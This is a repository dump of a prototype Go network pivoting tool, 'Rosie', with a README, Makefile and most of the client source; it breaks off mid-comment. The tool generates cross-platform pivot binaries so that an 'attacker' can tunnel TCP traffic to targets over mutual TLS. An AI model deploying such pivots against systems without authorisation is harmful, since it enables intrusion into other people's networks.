├── .gitignore ├── Makefile ├── README.md ├── client └── client.go ├── deps.sh ├── go-assets.sh ├── pivot └── pivot.go ├── protobuf └── rosie.proto └── server ├── assets.go ├── assets ├── adjectives.txt ├── darwin │ └── .gitkeep ├── github.com.zip ├── linux │ └── .gitkeep ├── nouns.txt └── windows │ └── .gitkeep ├── certs.go ├── codenames.go ├── gen-client.go ├── gen-pivot.go ├── go.go ├── handlers.go ├── main.go └── terminal.go /.gitignore: -------------------------------------------------------------------------------- 1 | .vscode/* 2 | 3 | # Binaries 4 | rosie 5 | rosie-server 6 | rosie-client 7 | rosie-pivot 8 | 9 | # Large static assets 10 | server/assets/src.zip 11 | server/assets/darwin/*.zip 12 | server/assets/linux/*.zip 13 | server/assets/windows/*.zip 14 | 15 | # Binaries for programs and plugins 16 | *.exe 17 | *.dll 18 | *.so 19 | *.dylib 20 | 21 | # Test binary, build with `go test -c` 22 | *.test 23 | 24 | # Output of the go coverage tool, specifically when used with LiteIDE 25 | *.out 26 | 27 | # Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736 28 | .glide/ 29 | 30 | vendor/* 31 | 32 | *.pb.go 33 | 34 | *-packr.go 35 | 36 | .DS_Store -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # Makefile for Rosie 3 | # 4 | 5 | GO = go 6 | ENV = CGO_ENABLED=0 7 | TAGS = -tags netgo 8 | LDFLAGS = -ldflags '-s -w' 9 | 10 | 11 | macos: clean pb 12 | GOOS=darwin $(ENV) $(GO) build $(TAGS) $(LDFLAGS) -o rosie-server ./server 13 | 14 | linux: clean pb 15 | GOOS=linux $(ENV) $(GO) build $(TAGS) $(LDFLAGS) -o rosie-server ./server 16 | 17 | windows: clean pb 18 | GOOS=windows $(ENV) $(GO) build $(TAGS) $(LDFLAGS) -o rosie-server.exe ./server 19 | 20 | 21 | # 22 | # Static builds were we bundle everything together 23 | # TODO: I think the `sed` command syntax is only valid on MacOS 24 | # 25 | static-macos: clean pb 26 | packr 27 | sed -i '' '/$*.windows\/*./d' ./server/a_main-packr.go 28 | sed -i '' '/$*.linux\/*./d' ./server/a_main-packr.go 29 | GOOS=darwin $(ENV) $(GO) build $(TAGS) $(LDFLAGS) -o rosie-server ./server 30 | 31 | static-windows: clean pb 32 | packr 33 | sed -i '' '/$*.darwin\/*./d' ./server/a_main-packr.go 34 | sed -i '' '/$*.linux\/*./d' ./server/a_main-packr.go 35 | GOOS=windows $(ENV) $(GO) build $(TAGS) $(LDFLAGS) -o rosie-server.exe ./server 36 | 37 | static-linux: clean pb 38 | packr 39 | sed -i '' '/$*.darwin\/*./d' ./server/a_main-packr.go 40 | sed -i '' '/$*.windows\/*./d' ./server/a_main-packr.go 41 | GOOS=linux $(ENV) $(GO) build $(TAGS) $(LDFLAGS) -o rosie-server ./server 42 | 43 | pb: 44 | protoc -I protobuf/ protobuf/rosie.proto --go_out=protobuf/ 45 | 46 | clean: 47 | packr clean 48 | rm -f ./protobuf/*.pb.go 49 | rm -f rosie rosie-server rosie-pivot *.exe 50 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Rosie the Pivoter 2 | ================== 3 | 4 | Rosie the Privoter is a _prototype_ general purpose secure network pivoting tool. Rosie uses mutual TLS for all connections between the client, server, and pivot. All certificates are signed and managed automatically for you with a per-instance certificate authority. Certificates are generated on the fly and embedded within each client and pivot binary, which are dynamically compiled by the server. 5 | 6 | __WARNING:__ This is still a prototype, expect bugs and unstable connections! 7 | 8 | ### Design Goals 9 | 10 | Rosie has the following design goals: 11 | 12 | * __Cross Platform__ - All Rosie components should support as many platforms as possible. 13 | * __Secure by Default__ - Rosie's default behavoir should be secure, including transport layer security. It should be difficult to misconfigure the application to be insecure. 14 | * __Zero Runtime Dependancies__ - No dynamically linked libraries; pivots, clients, and servers should run on any supported platform without the need to install any external libraries or programs. 15 | * __N to N__ - All components should support multiplexing multiple clients/connections/etc. 16 | 17 | ## Usage 18 | 19 | ### Server 20 | 21 | To start the server: 22 | 23 | ``` 24 | $ ./rosie-server 25 | [*] First time setup, unpacking assets please wait ... 26 | [*] Client binary written to: /Users/moloch/go/src/rosie/rosie 27 | [*] Starting listeners ... 28 | ``` 29 | 30 | The first time you run the server as a user it will unpack various assets into `~/.rosie` and generate a client binary in the current working directory that can be used to interact with the server. 31 | 32 | ### Client 33 | 34 | The client will already have the proper certificates embedded within the binary. As such, client binaries can only be used to interact with the server they were generated by. 35 | 36 | #### Generating Pivots 37 | 38 | You can generate pivot binaries for any supported platform by using the `pivot` client command, for example: 39 | 40 | ``` 41 | $ ./rosie pivot -os windows -output pivot.exe 42 | [*] Generating new pivot binary ... 43 | [*] Compiler target windows/amd64 44 | [*] New pivot (windows/amd64): pivot.exe 45 | $ file pivot.exe 46 | pivot.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows 47 | ``` 48 | 49 | Valid compiler targets are: 50 | 51 | * `darwin/386` 52 | * `darwin/amd64` 53 | * `dragonfly/amd64` 54 | * `freebsd/386` 55 | * `freebsd/amd64` 56 | * `freebsd/arm` 57 | * `linux/386` 58 | * `linux/amd64` 59 | * `linux/arm` 60 | * `linux/arm64` 61 | * `linux/ppc64` 62 | * `linux/ppc64le` 63 | * `linux/mips` 64 | * `linux/mipsle` 65 | * `linux/mips64` 66 | * `linux/mips64le` 67 | * `linux/s390x` 68 | * `netbsd/386` 69 | * `netbsd/amd64` 70 | * `netbsd/arm` 71 | * `openbsd/386` 72 | * `openbsd/amd64` 73 | * `openbsd/arm` 74 | * `plan9/386` 75 | * `plan9/amd64` 76 | * `plan9/arm` 77 | * `solaris/amd64` 78 | * `windows/386` 79 | * `windows/amd64` 80 | 81 | ## Architecture 82 | 83 | Rosie has three primary components a client, server, and a pivot. 84 | 85 | ``` 86 | attacker <-TCP-> client <-protobuf/mTLS-> rosie-server <-protobuf/mTLS-> pivot <-TCP-> target 87 | attacker <-TCP-> client <-protobuf/mTLS-> <-protobuf/mTLS-> pivot <-TCP-> target 88 | ``` 89 | 90 | ## Building From Scratch 91 | 92 | You'll want to compile from a MacOS or Linux machine, compiling from Windows should work but none of the scripts are designed to run on Windows (you can compile the Windows binaries from MacOS or Linux). 93 | 94 | Requirements: 95 | * Go v1.11 or later 96 | * Make, sed, tar, wget, zip 97 | 98 | Build thin server (for developement) 99 | 100 | ``` 101 | $ ./deps.sh 102 | $ ./go-assets.sh 103 | $ make 104 | ``` 105 | 106 | Statically compile and bundle server with all dependencies and assets: 107 | 108 | ``` 109 | $ make static-macos 110 | $ make static-linux 111 | $ make static-windows 112 | ``` 113 | 114 | ## TODO 115 | 116 | Planned features: 117 | * SOCKS v5 118 | * Layer 2 TUN/TAP 119 | -------------------------------------------------------------------------------- /client/client.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | /* 4 | * Rosie client code, since we dynamically render and compile this file 5 | * I've tried to keep the code in as few files as possible, same w/Pivot. 6 | */ 7 | 8 | import ( 9 | "bytes" 10 | "crypto/rand" 11 | "crypto/sha256" 12 | "crypto/tls" 13 | "crypto/x509" 14 | "encoding/binary" 15 | "flag" 16 | "fmt" 17 | "io" 18 | "io/ioutil" 19 | "log" 20 | "net" 21 | "os" 22 | "runtime" 23 | "strconv" 24 | "strings" 25 | "text/template" 26 | "time" 27 | 28 | "github.com/golang/protobuf/proto" 29 | 30 | mathrand "math/rand" 31 | pb "rosie/protobuf" 32 | ) 33 | 34 | const ( 35 | clientName = `{{.Name}}` 36 | clientKeyPEM = `{{.Key}}` 37 | clientCertPEM = `{{.Cert}}` 38 | caCertPEM = `{{.CACert}}` 39 | 40 | defaultServerIP = `{{.DefaultServer}}` 41 | defaultServerLPort = 8443 42 | 43 | // ANSI escapes for terminal colors 44 | normal = "\033[0m" 45 | black = "\033[30m" 46 | red = "\033[31m" 47 | green = "\033[32m" 48 | orange = "\033[33m" 49 | blue = "\033[34m" 50 | purple = "\033[35m" 51 | cyan = "\033[36m" 52 | gray = "\033[37m" 53 | bold = "\033[1m" 54 | clearLn = "\r\x1b[2K" 55 | upN = "\033[%dA" 56 | downN = "\033[%dB" 57 | 58 | // Info - Display colorful information 59 | Info = bold + cyan + "[*] " + normal 60 | // Warn - Warn a user 61 | Warn = bold + red + "[!] " + normal 62 | // Debug - Display debug information 63 | Debug = bold + purple + "[-] " + normal 64 | // Woot - Display success 65 | Woot = bold + green + "[$] " + normal 66 | 67 | timeout = 10 * time.Second 68 | readBufSize = 256 * 1024 69 | 70 | // RandomIDSize - Size of the TunnelID in bytes 71 | RandomIDSize = 16 72 | 73 | // ---------------- 74 | // Client Messages 75 | // ---------------- 76 | // These are used when talking to the server 77 | 78 | // DataMsg - Connection data 79 | DataMsg = "d" 80 | // ListPivotsMsg - List connected pivots 81 | ListPivotsMsg = "list-pivots" 82 | // GenPivotMsg - Generates a pivot binary 83 | GenPivotMsg = "generate-pivot" 84 | // GenClientMsg - Generates a client binary 85 | GenClientMsg = "generate-client" 86 | // TCPTunnelMsg - Holds data related to setting up a TCP tunnel 87 | TCPTunnelMsg = "tcp-tunnel" 88 | // ExeFileMsg - Serialized executable file (client/pivot) 89 | ExeFileMsg = "exe-file" 90 | 91 | // ---------------- 92 | // Subcommand Strs 93 | // ---------------- 94 | // These are used to parse the CLI subcommands 95 | lsCmdStr = "ls" 96 | pivotCmdStr = "pivot" 97 | clientCmdStr = "client" 98 | tcpTunnelCmdStr = "tcp-tunnel" 99 | ) 100 | 101 | var ( 102 | server *string 103 | lport *int 104 | verbose *bool 105 | 106 | lsPivotsCmd *flag.FlagSet 107 | lsActive *bool 108 | 109 | genClientCmd *flag.FlagSet 110 | clientOS *string 111 | clientArch *string 112 | clientOutput *string 113 | 114 | genPivotCmd *flag.FlagSet 115 | pivotOS *string 116 | pivotArch *string 117 | pivotOutput *string 118 | 119 | tunnelCmd *flag.FlagSet 120 | tunnelPivot *string 121 | tunnelRemoteAddr *string 122 | tunnelBind *int 123 | ) 124 | 125 | type c2Connection struct { 126 | Send chan pb.Envelope 127 | Recv chan pb.Envelope 128 | } 129 | 130 | func main() { 131 | flag.Usage = usage 132 | if len(os.Args) == 1 { 133 | usage() 134 | os.Exit(0) 135 | } 136 | 137 | server = flag.String("server", defaultServerIP, "server address") 138 | lport = flag.Int("lport", defaultServerLPort, "server listen port") 139 | verbose = flag.Bool("verbose", false, "verbose output") 140 | 141 | lsPivotsCmd = flag.NewFlagSet(lsCmdStr, flag.ExitOnError) 142 | lsActive = lsPivotsCmd.Bool("active", false, "only list pivots with active connections") 143 | 144 | genClientCmd = flag.NewFlagSet(GenClientMsg, flag.ExitOnError) 145 | clientOS = genClientCmd.String("os", runtime.GOOS, "target cpu architecture") 146 | clientArch = genClientCmd.String("arch", runtime.GOARCH, "target cpu architecture") 147 | clientOutput = genClientCmd.String("output", "rosie", "output file path") 148 | 149 | genPivotCmd = flag.NewFlagSet(GenPivotMsg, flag.ExitOnError) 150 | pivotOS = genPivotCmd.String("os", runtime.GOOS, "target cpu architecture") 151 | pivotArch = genPivotCmd.String("arch", runtime.GOARCH, "target cpu architecture") 152 | pivotOutput = genPivotCmd.String("output", "rosie", "output file path") 153 | 154 | tunnelCmd = flag.NewFlagSet(TCPTunnelMsg, flag.ExitOnError) 155 | tunnelPivot = tunnelCmd.String("pivot", "", "name of pivot to tunnel thru") 156 | tunnelRemoteAddr = tunnelCmd.String("to", "", "remote address") 157 | tunnelBind = tunnelCmd.Int("bind", 0, "bind tunnel to local port") 158 | flag.Parse() 159 | verbosity() 160 | 161 | broker := NewBroker() 162 | go broker.Start() 163 | 164 | // [!] Go's sub-command arg parser is super shitty, you have to slice 165 | // it just right or it won't parse any of the arguments. 166 | if contains(lsCmdStr, os.Args) { 167 | lsPivotsCmd.Parse(subArgs(lsCmdStr)) 168 | execLsPivots(broker) 169 | } else if contains(clientCmdStr, os.Args) { 170 | genClientCmd.Parse(subArgs(clientCmdStr)) 171 | execGenerateClient(broker) 172 | } else if contains(pivotCmdStr, os.Args) { 173 | genPivotCmd.Parse(subArgs(pivotCmdStr)) 174 | execGeneratePivot(broker) 175 | } else if contains(tcpTunnelCmdStr, os.Args) { 176 | tunnelCmd.Parse(subArgs(tcpTunnelCmdStr)) 177 | execTCPTunnel(broker) 178 | } 179 | 180 | if *verbose { 181 | panic("Stacks on Exit") // Print stacks on exit 182 | } 183 | } 184 | 185 | // subArgs - Get arguments after a subcommand 186 | func subArgs(subcmd string) []string { 187 | index := indexOf(subcmd, os.Args) + 1 188 | if index < len(os.Args) { 189 | return os.Args[index:] 190 | } 191 | return []string{} 192 | } 193 | 194 | // verbosity - Log calls if -verbose, otherwise pipe to /dev/null 195 | func verbosity() { 196 | if *verbose { 197 | log.SetFlags(log.LstdFlags | log.Lshortfile) 198 | log.SetOutput(os.Stdout) 199 | } else { 200 | null, _ := os.OpenFile(os.DevNull, os.O_RDWR|os.O_APPEND, 0666) 201 | log.SetOutput(null) 202 | } 203 | } 204 | 205 | // Keep in mind this file gets rendered as a template too 206 | // so we swap out the default delimeters '{' for '[' 207 | func usage() { 208 | tmpl, _ := template.New("usage").Delims("[[", "]]").Parse(` 209 | roise [subcommand] 210 | 211 | Server options 212 | 213 | -server 214 | -lport 215 | -verbose (default: false) 216 | 217 | Sub-commands 218 | 219 | [[.Bold]][[.Ls]][[.Normal]]: List active pivot connections 220 | -active (default: false) 221 | 222 | [[.Bold]][[.Pivot]][[.Normal]]: Generate a new pivot binary 223 | -os (default: [[.GOOS]]) 224 | -arch (default: [[.GOARCH]]) 225 | 226 | [[.Bold]][[.Client]][[.Normal]]: Generate a new client binary 227 | -os (default: [[.GOOS]]) 228 | -arch (default: [[.GOARCH]]) 229 | 230 | [[.Bold]][[.TCPTunnel]][[.Normal]]: Create a new tunnel via a pivot 231 | -pivot 232 | -bind (default: random ephermal) 233 | -to (e.g. 1.1.1.1:22) 234 | `) 235 | // Render template to stdout 236 | tmpl.Execute(os.Stdout, struct { 237 | Normal string 238 | Bold string 239 | Ls string 240 | Pivot string 241 | Client string 242 | TCPTunnel string 243 | GOOS string 244 | GOARCH string 245 | }{ 246 | Normal: normal, 247 | Bold: bold, 248 | Ls: lsCmdStr, 249 | Pivot: pivotCmdStr, 250 | Client: clientCmdStr, 251 | TCPTunnel: tcpTunnelCmdStr, 252 | GOOS: runtime.GOOS, 253 | GOARCH: runtime.GOARCH, 254 | }) 255 | } 256 | 257 | // ---------------------- 258 | // Broker Implementations 259 | // ---------------------- 260 | // Adapted from: https://stackoverflow.com/questions/36417199/how-to-broadcast-message-using-channel 261 | 262 | // Broker - Holds all the channels 263 | type Broker struct { 264 | stopCh chan struct{} 265 | publishCh chan pb.Envelope 266 | subCh chan chan pb.Envelope 267 | unsubCh chan chan pb.Envelope 268 | sendCh chan pb.Envelope 269 | } 270 | 271 | // NewBroker - Instanciate new broker 272 | func NewBroker() *Broker { 273 | return &Broker{ 274 | stopCh: make(chan struct{}), 275 | publishCh: make(chan pb.Envelope, 1), 276 | subCh: make(chan chan pb.Envelope, 1), 277 | unsubCh: make(chan chan pb.Envelope, 1), 278 | sendCh: make(chan pb.Envelope, 1), 279 | } 280 | } 281 | 282 | // Start a broker instance 283 | func (broker *Broker) Start() { 284 | c2Connect(broker) 285 | subscribers := map[chan pb.Envelope]struct{}{} 286 | for { 287 | select { 288 | case <-broker.stopCh: 289 | log.Printf("Closing all subscriber channels ...") 290 | for msgCh := range subscribers { 291 | close(msgCh) 292 | } 293 | return 294 | case msgCh := <-broker.subCh: 295 | subscribers[msgCh] = struct{}{} 296 | case msgCh := <-broker.unsubCh: 297 | delete(subscribers, msgCh) 298 | case msg := <-broker.publishCh: 299 | for msgCh := range subscribers { 300 | msgCh <- msg 301 | } 302 | } 303 | } 304 | } 305 | 306 | // Stop - Close down all channels 307 | func (broker *Broker) Stop() { 308 | close(broker.stopCh) 309 | } 310 | 311 | // Subscribe - Generate a new subscription channel 312 | func (broker *Broker) Subscribe() chan pb.Envelope { 313 | msgCh := make(chan pb.Envelope, 5) 314 | broker.subCh <- msgCh 315 | return msgCh 316 | } 317 | 318 | // Unsubscribe - Remove a subscription channel 319 | func (broker *Broker) Unsubscribe(msgCh chan pb.Envelope) { 320 | broker.unsubCh <- msgCh 321 | close(msgCh) 322 | } 323 | 324 | // Publish - Push a message to all subscribers 325 | func (broker *Broker) Publish(msg pb.Envelope) { 326 | broker.publishCh <- msg 327 | } 328 | 329 | // SendMessage - Send a message to the remote connection 330 | func (broker *Broker) SendMessage(msgType string, msg []byte) { 331 | envelope := pb.Envelope{ 332 | Type: msgType, 333 | Data: msg, 334 | } 335 | broker.sendCh <- envelope 336 | } 337 | 338 | // ------------------------ 339 | // Command Implementations 340 | // ------------------------ 341 | 342 | func execLsPivots(broker *Broker) { 343 | recv := broker.Subscribe() 344 | defer broker.Unsubscribe(recv) 345 | broker.SendMessage(ListPivotsMsg, []byte{}) 346 | envelope := <-recv 347 | if envelope.Type == ListPivotsMsg { 348 | pivots := &pb.Pivots{} 349 | proto.Unmarshal(envelope.Data, pivots) 350 | if 0 < len(pivots.List) { 351 | for index, pivot := range pivots.List { 352 | fmt.Printf("% 2d. %s\n", index+1, pivot.Name) 353 | } 354 | } else { 355 | fmt.Println(Info + "No povits found") 356 | } 357 | } 358 | } 359 | 360 | func execGeneratePivot(broker *Broker) { 361 | fmt.Println(Info + "Generating new pivot binary ...") 362 | fmt.Printf(Info+"Compiler target %s/%s\n", *pivotOS, *pivotArch) 363 | 364 | exeFormat, exe, err := generatePivot(broker, *pivotOS, *pivotArch, *pivotOutput) 365 | if err != nil { 366 | fmt.Printf(Warn+"Failed to generate pivot binary: %s\n", err) 367 | } else { 368 | err = ioutil.WriteFile(*pivotOutput, exe, 0755) 369 | if err != nil { 370 | fmt.Printf(Warn+"Failed to write exe: %s\n", *pivotOutput) 371 | } 372 | } 373 | fmt.Printf(Info+"New pivot (%s): %s\n", exeFormat, *pivotOutput) 374 | } 375 | 376 | func generatePivot(broker *Broker, targetOS string, targetArch string, output string) (string, []byte, error) { 377 | recv := broker.Subscribe() 378 | defer broker.Unsubscribe(recv) 379 | genPivotReq := &pb.GeneratePivotRequest{ 380 | OperatingSystem: targetOS, 381 | Arch: targetArch, 382 | } 383 | data, _ := proto.Marshal(genPivotReq) 384 | broker.SendMessage(GenPivotMsg, data) 385 | envelope := <-recv 386 | if envelope.Type == ExeFileMsg { 387 | pivotExe := &pb.ExeFile{} 388 | proto.Unmarshal(envelope.Data, pivotExe) 389 | if pivotExe.Errors != "" { 390 | return "", nil, fmt.Errorf("%s", pivotExe.Errors) 391 | } 392 | return pivotExe.Format, pivotExe.Data, nil 393 | } 394 | return "", nil, fmt.Errorf("invalid server response (%s)", envelope.Type) 395 | } 396 | 397 | func execGenerateClient(broker *Broker) { 398 | fmt.Println(Info + "Generating new client binary ...") 399 | fmt.Printf(Info+"Compiler target %s/%s\n", *clientOS, *clientArch) 400 | 401 | exeFormat, exe, err := generateClient(broker, *clientOS, *clientArch, *clientOutput) 402 | if err != nil { 403 | fmt.Printf(Warn+"Failed to generate client binary: %s\n", err) 404 | } else { 405 | err = ioutil.WriteFile(*clientOutput, exe, 0755) 406 | if err != nil { 407 | fmt.Printf(Warn+"Failed to write exe: %s\n", *clientOutput) 408 | } 409 | fmt.Printf(Info+"New client (%s): %s\n", exeFormat, *clientOutput) 410 | } 411 | } 412 | 413 | func generateClient(broker *Broker, targetOS string, targetArch string, output string) (string, []byte, error) { 414 | recv := broker.Subscribe() 415 | genClientReq := &pb.GenerateClientRequest{ 416 | OperatingSystem: targetOS, 417 | Arch: targetArch, 418 | } 419 | data, _ := proto.Marshal(genClientReq) 420 | broker.SendMessage(GenClientMsg, data) 421 | envelope := <-recv 422 | if envelope.Type == ExeFileMsg { 423 | clientExe := &pb.ExeFile{} 424 | proto.Unmarshal(envelope.Data, clientExe) 425 | if clientExe.Errors != "" { 426 | return "", nil, fmt.Errorf("%s", clientExe.Errors) 427 | } 428 | return clientExe.Format, clientExe.Data, nil 429 | } 430 | return "", nil, fmt.Errorf("invalid server response (%s)", envelope.Type) 431 | } 432 | 433 | func execTCPTunnel(broker *Broker) { 434 | address := strings.Split(*tunnelRemoteAddr, ":") 435 | if len(address) != 2 { 436 | fmt.Printf(Warn+"Invalid remote address '%s'\n", *tunnelRemoteAddr) 437 | return 438 | } 439 | rAddressPort, err := strconv.Atoi(address[1]) 440 | rPort := uint16(rAddressPort) 441 | if err != nil { 442 | fmt.Printf(Warn+"Invalid remote port number '%s'\n", address[1]) 443 | return 444 | } 445 | lPort := uint16(*tunnelBind) 446 | if lPort == 0 { 447 | lPort = RandomTCPPortNumber() 448 | } 449 | startTCPTunnelListener(broker, *tunnelPivot, address[0], rPort, lPort) 450 | } 451 | 452 | func startTCPTunnelListener(broker *Broker, pivotName string, rAddress string, rPort uint16, lPort uint16) { 453 | 454 | ln, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", lPort)) 455 | defer ln.Close() 456 | if err != nil { 457 | fmt.Printf(Warn+"Failed to start listener %s\n", err) 458 | os.Exit(-1) 459 | } 460 | fmt.Printf(Info+"Listener started successfully on port %d\n", lPort) 461 | 462 | for { 463 | conn, err := ln.Accept() 464 | if err != nil { 465 | log.Println(err) 466 | continue 467 | } 468 | go tcpTunnelTo(conn, broker, pivotName, rAddress, rPort) 469 | } 470 | 471 | } 472 | 473 | func tcpTunnelTo(conn net.Conn, broker *Broker, pivotName string, rAddress string, rPort uint16) { 474 | 475 | fmt.Printf(Info+"Tunneling %s -> %s:%d ...\n", pivotName, rAddress, rPort) 476 | 477 | recv := broker.Subscribe() 478 | defer broker.Unsubscribe(recv) 479 | 480 | tunnelID := RandomID() 481 | tcpTunnelInit := &pb.TCPTunnelInit{ 482 | ID: tunnelID, 483 | PivotName: pivotName, 484 | RemoteAddress: rAddress, 485 | RemotePort: int32(rPort), 486 | } 487 | 488 | tunInitData, _ := proto.Marshal(tcpTunnelInit) 489 | broker.SendMessage(TCPTunnelMsg, tunInitData) 490 | 491 | // The first packet is always empty just to tell us if 492 | // there's an EOF from the other side before we .Read() 493 | init0 := <-recv 494 | data0 := &pb.Data{} 495 | proto.Unmarshal(init0.Data, data0) 496 | if data0.EOF { 497 | fmt.Printf(Warn + "Remote connection failed\n") 498 | return 499 | } 500 | 501 | go func() { 502 | defer func() { 503 | log.Printf("Closing connection to %s\n", conn.RemoteAddr()) 504 | conn.Close() // This will terminate the lower .Read() loop 505 | }() 506 | for envelope := range recv { 507 | if envelope.Type == DataMsg { 508 | dataPkt := &pb.Data{} 509 | proto.Unmarshal(envelope.Data, dataPkt) 510 | if dataPkt.TunnelID == tunnelID { 511 | fmt.Printf(Info+"[Client] Write %d bytes (%s)\n", len(dataPkt.Payload), dataPkt.TunnelID) 512 | if 0 < len(dataPkt.Payload) { 513 | conn.Write(dataPkt.Payload) 514 | } 515 | if dataPkt.EOF { 516 | log.Printf("[Client] Remote connection returned EOF (%s)\n", dataPkt.TunnelID) 517 | return 518 | } 519 | } 520 | } 521 | } 522 | }() 523 | 524 | zeroReads := 0 525 | readBuf := make([]byte, readBufSize) 526 | for { 527 | n, err := conn.Read(readBuf) 528 | dataPkt, _ := proto.Marshal(&pb.Data{ 529 | TunnelID: tunnelID, 530 | Payload: readBuf[:n], 531 | EOF: err == io.EOF, 532 | }) 533 | fmt.Printf(Info+"[Client] Read %d bytes (%s)\n", len(readBuf[:n]), tunnelID) 534 | broker.SendMessage(DataMsg, dataPkt) 535 | if err == io.EOF { 536 | log.Printf("[Client] Read EOF (%s)\n", tunnelID) 537 | break 538 | } 539 | if n == 0 { 540 | zeroReads++ 541 | if zeroReads > 10 { 542 | break 543 | } 544 | } else { 545 | zeroReads = 0 546 | } 547 | } 548 | log.Printf("[Client] Read loop exit (%s)", tunnelID) 549 | } 550 | 551 | // ---------------------- 552 | // Network Communication 553 | // ---------------------- 554 | // c2Connect - Connect to server and get channels for send/recv 555 | func c2Connect(broker *Broker) { 556 | log.Printf("Connecting to %s:%d ...\n", *server, *lport) 557 | conn := tlsConnect(*server, uint16(*lport)) 558 | 559 | go func() { 560 | defer func() { 561 | log.Printf("Clean up channels/connections ...") 562 | conn.Close() 563 | close(broker.publishCh) 564 | }() 565 | for { 566 | envelope, err := socketReadMessage(conn) 567 | if err != nil { 568 | return 569 | } 570 | broker.Publish(envelope) 571 | } 572 | }() 573 | 574 | // Convert channel back to socket writes 575 | go func() { 576 | for envelope := range broker.sendCh { 577 | socketWriteMessage(conn, envelope) 578 | } 579 | }() 580 | } 581 | 582 | // socketWriteMessage - Writes a message to the TLS socket using length prefix framing 583 | // which is a fancy way of saying we write the length of the message then the message 584 | // e.g. [uint32 length|message] so the reciever can delimit messages properly 585 | func socketWriteMessage(connection *tls.Conn, envelope pb.Envelope) error { 586 | log.Printf("Send: %s", envelope.Type) 587 | data, err := proto.Marshal(&envelope) 588 | if err != nil { 589 | log.Print("Envelope marshaling error: ", err) 590 | return err 591 | } 592 | dataLengthBuf := new(bytes.Buffer) 593 | binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data))) 594 | connection.Write(dataLengthBuf.Bytes()) 595 | connection.Write(data) 596 | return nil 597 | } 598 | 599 | // socketReadMessage - Reads a message from the TLS connection using length prefix framing 600 | func socketReadMessage(connection *tls.Conn) (pb.Envelope, error) { 601 | log.Println("Reading length ...") 602 | dataLengthBuf := make([]byte, 4) // Size of uint32 603 | _, err := connection.Read(dataLengthBuf) 604 | if err != nil { 605 | fmt.Printf(Warn+"Socket error (read msg-length): %v\n", err) 606 | return pb.Envelope{}, err 607 | } 608 | dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf)) 609 | log.Printf("Data length: %d", dataLength) 610 | 611 | // Read the length of the data 612 | log.Println("Reading data ...") 613 | readBuf := make([]byte, readBufSize) 614 | dataBuf := make([]byte, 0) 615 | totalRead := 0 616 | for { 617 | n, err := connection.Read(readBuf) 618 | dataBuf = append(dataBuf, readBuf[:n]...) 619 | totalRead += n 620 | if totalRead == dataLength { 621 | break 622 | } 623 | if err != nil { 624 | log.Printf(Warn+"Read error: %s\n", err) 625 | break 626 | } 627 | } 628 | log.Printf("Read %d bytes", totalRead) 629 | 630 | // Unmarshal the protobuf envelope 631 | envelope := &pb.Envelope{} 632 | err = proto.Unmarshal(dataBuf, envelope) 633 | if err != nil { 634 | fmt.Printf(Warn+"Unmarshaling envelope error: %v", err) 635 | return pb.Envelope{}, err 636 | } 637 | 638 | return *envelope, nil 639 | } 640 | 641 | // tlsConnect - Get a TLS connection or die trying 642 | func tlsConnect(address string, port uint16) *tls.Conn { 643 | tlsConfig := getTLSConfig() 644 | connection, err := tls.Dial("tcp", fmt.Sprintf("%s:%d", address, port), tlsConfig) 645 | if err != nil { 646 | fmt.Printf(Warn+"Unable to connect: %v", err) 647 | os.Exit(4) 648 | } 649 | return connection 650 | } 651 | 652 | func getTLSConfig() *tls.Config { 653 | 654 | // Load client certs 655 | clientCert, err := tls.X509KeyPair([]byte(clientCertPEM), []byte(clientKeyPEM)) 656 | if err != nil { 657 | fmt.Printf(Warn+"Cannot load client certificate: %v", err) 658 | os.Exit(5) 659 | } 660 | 661 | // Load CA cert 662 | caCertPool := x509.NewCertPool() 663 | caCertPool.AppendCertsFromPEM([]byte(caCertPEM)) 664 | 665 | // Setup config with custom certificate validation routine 666 | tlsConfig := &tls.Config{ 667 | Certificates: []tls.Certificate{clientCert}, 668 | RootCAs: caCertPool, 669 | InsecureSkipVerify: true, // Don't worry I sorta know what I'm doing 670 | VerifyPeerCertificate: rootOnlyVerifyCertificate, 671 | } 672 | tlsConfig.BuildNameToCertificate() 673 | 674 | return tlsConfig 675 | } 676 | 677 | // rootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so 678 | // we have to disable all of the fucking certificate validation and re-implement everything. 679 | // https://github.com/golang/go/issues/21971 680 | func rootOnlyVerifyCertificate(rawCerts [][]byte, _ [][]*x509.Certificate) error { 681 | 682 | roots := x509.NewCertPool() 683 | ok := roots.AppendCertsFromPEM([]byte(caCertPEM)) 684 | if !ok { 685 | fmt.Printf(Warn + "Failed to parse root certificate") 686 | os.Exit(3) 687 | } 688 | 689 | cert, err := x509.ParseCertificate(rawCerts[0]) // We should only get one cert 690 | if err != nil { 691 | fmt.Printf(Warn + "Failed to parse certificate: " + err.Error()) 692 | return err 693 | } 694 | 695 | // Basically we only care if the certificate was signed by our authority 696 | // Go selects sensible defaults for time and EKU, basically we're only 697 | // skipping the hostname check, I think? 698 | opts := x509.VerifyOptions{ 699 | Roots: roots, 700 | } 701 | if _, err := cert.Verify(opts); err != nil { 702 | fmt.Printf(Warn + "Failed to verify certificate: " + err.Error()) 703 | return err 704 | } 705 | 706 | return nil 707 | } 708 | 709 | // --------------------------------------------------- 710 | // Random helper functions to deal with Go's bullshit 711 | // --------------------------------------------------- 712 | // There's cearly no need for standard library functions 713 | // that do obscure operations like determining if a value 714 | // is in a slice, or getting the index of a value 715 | 716 | const ( 717 | tcpMin = 1024 718 | tcpMax = 65534 719 | ) 720 | 721 | // RandomTCPPortNumber - Get a random TCP port number 1024 - 65535 722 | func RandomTCPPortNumber() uint16 { 723 | seed := mathrand.NewSource(time.Now().UnixNano()) 724 | rng := mathrand.New(seed) 725 | number := rng.Intn(tcpMax-tcpMin) + tcpMin 726 | return uint16(number) 727 | } 728 | 729 | // RandomID - Generate random ID of RandomIDSize bytes 730 | func RandomID() string { 731 | randBuf := make([]byte, 64) // 64 bytes of randomness 732 | rand.Read(randBuf) 733 | digest := sha256.Sum256(randBuf) 734 | return fmt.Sprintf("%x", digest[:RandomIDSize]) 735 | } 736 | 737 | // Because Go is 